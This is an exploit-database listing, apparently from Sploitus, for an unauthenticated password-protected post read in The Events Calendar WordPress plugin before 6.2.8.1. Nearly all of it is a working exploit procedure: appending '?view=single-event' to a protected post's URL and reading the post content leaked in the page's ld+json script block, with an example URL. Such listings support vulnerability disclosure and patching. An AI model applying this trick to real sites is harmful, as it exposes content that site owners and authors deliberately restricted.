Sploitus

Exploit for The Events Calendar < 6.2.8.1 - Unauthenticated Arbitrary Password Protected Post Read

wpexploit · 2023-11-23

Exploit Code

MARKDOWN4 lines
## https://sploitus.com/exploit?id=WPEX-ID:229273E6-E849-447F-A95A-0730969ECDAE
Append "?view=single-event" to a password protected post, then view the source of the page and find the post content disclosed in <script type="application/ld+json">

Example: https://exmple.com/password-protected-post/?view=single-event